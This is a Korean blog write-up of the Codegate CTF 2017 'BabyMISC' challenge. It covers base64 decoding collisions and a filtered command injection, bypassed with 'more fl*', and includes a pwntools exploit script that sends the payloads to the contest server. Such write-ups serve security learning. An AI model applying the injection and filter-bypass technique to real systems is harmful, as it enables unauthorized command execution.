## Codegate CTF_2017(BabyMISC, MISC)
[Summary]
1. Base64 hash collision & 알고리즘
2. 필터링된 Command Injection
[Analysis]
이 문제는 총 3개의 stage로 이루어진 문제이다. 각 스테이지 별로 사용자 input 값을 받는데 정확한 입력 값을 넣으면
다음 stage로 넘어가는 방식이다. 우선 첫 번째 스테이지를 IDA를 통해 아래 [그림 1]과 같이 분석하면
"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oig="라는 문자열이 주어지고 사용자 input을 받는다. 이 때 이 stage를
만족하려면 3가지 조건이 있다.
1. (User input 길이) == (주어진 base64 문자열 길이)
2. (User input의 Base64 decode 문자열) == (주어진 base64 decode 문자열)
3. (User input) != (주어진 base64 문자열)
한마디로 이번 Stage1은 Base64의 충돌성을 찾아내라는 문제이다.
[그림 1] Stage1 디컴파일 소스
주어진 base64 문자열은 아래 [그림 2]와 같은 이유로 3개의 충돌이 일어날 수 있다. 따라서 답으로 가능한 충돌이
일어나는 base64 문자열은 "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=",
"TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oii=", "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oij="이다.
[그림 2] base64 충돌
그 다음은 Stage2이다. Stage2를 IDA를 통해 아래 [그림 3]과 같이 분석하면 2개의 사용자 input을 받는다.
이 때 이 stage를 만족하려면 2가지 조건이 있다.
1. (input1 길이) != (input2 길이)
2. (input1 B64D) == (input2 B64D)
즉 다른 길이의 Base64 인코딩된 문자열을 디코딩 했을 때 같은 결과가 나오는 2개의 B64 String을 찾으라는 이야기이다.
[그림 3] Stage2 디컴파일 소스
이번 Stage는 Stage1을 잘 이해하고 있으면 기존 B64 String의 마지막에 "===="만 덧붙이면 주어진 조건을
만족한다는 것을 알 수 있다. 따라서 예시 답을 들자면 "AAAA"를 인코딩한 "QUFBQQ=="를 input1로
"QUFBQQ======"를 input2로 주면 Stage2도 깰 수 있다.
그 다음은 Stage3이다. Stage3을 IDA를 통해 아래 [그림 4]와 같이 분석하면 base64 encoding된 사용자 input을 1개
받는다. 이번 Stage에서는 Command Injection을 가능하게 하여 한 가지 명령어를 실행할 수 있게 해주는데 명령어를
Base64 인코딩 시켜 input으로 주게되면 "echo -n %s | base64 -d | sh"문자열에 들어가 디코딩되면서 원하는 명령을
실행시켜 주므로 flag파일을 읽어들이면 된다.
[그림 4] Stage3 디컴파일 소스
하지만 여기서 한 가지 문제점이 있다. 위 [그림 4]에 나와있듯이 sub_400E0B()함수에서 커맨드에 필터링을 하여
명령어를 제한적으로 사용할 수 있다. "ls"명령어는 필터링되지 않아 사용할 수 있지만 "cat", "flag", "bin", "sh"등을
필터링하여 플래그를 읽지지 못하도록 그리고 쉘을 따지 못하도록 한다. 하지만 이는 간단히 "more fl*"라는 명령으로
우회할 수 있으며 아래 [그림 5]와 같이 flag를 출력하는 것을 확인할 수 있다.
[Exploit Code] - babymisc_exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * import base64 context(arch='amd64',os='linux') #local=True local=False if local: p = process("BabyMISC") else: p = remote("110.10.212.138", 19090) binary = ELF("./BabyMISC") raw_input() def solve_stage1(payload): print p.recvuntil("[+] Input > ") p.send(payload+'\n') def solve_stage2(payload1, payload2): print p.recvuntil("[+] Input 1 ") p.send(payload1+'\n') print p.recvuntil("[+] Input 2 ") p.send(payload2+'\n') def solve_stage3(payload): command = base64.b64encode(payload) print p.recvuntil("[*] Input > ") p.send(command+'\n') if __name__ == '__main__': payload1 = "TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oih=" # "~i=", "~j=" solve_stage1(payload1) payload2_1 = "QUFBQQ=="; payload2_2 = "QUFBQQ======" solve_stage2(payload2_1, payload2_2) payload3 = "more fl*" solve_stage3(payload3) p.interactive() | cs |
[Get Flag~~!!!!]
[그림 5] flag 확인("Nav3r_L3t_y0ur_L3ft_h4nd_kn0w_wh4t_y0ur_r1ghT_h4nd5_H4ck1ng")
끝~!
'CTF writeup' 카테고리의 다른 글
[Codegate CTF_2017] messenger(pwn) (8) | 2017.02.18 |
---|---|
[Codegate CTF_2017] BabyPwn(pwn) (0) | 2017.02.18 |
[Christmas CTF_2016] who is solo(pwn) (8) | 2017.01.17 |
[BoB CTF_2016] megabox(pwn) (2) | 2017.01.10 |
[Christmas CTF_2016] StupidRSA(misc) (0) | 2016.12.26 |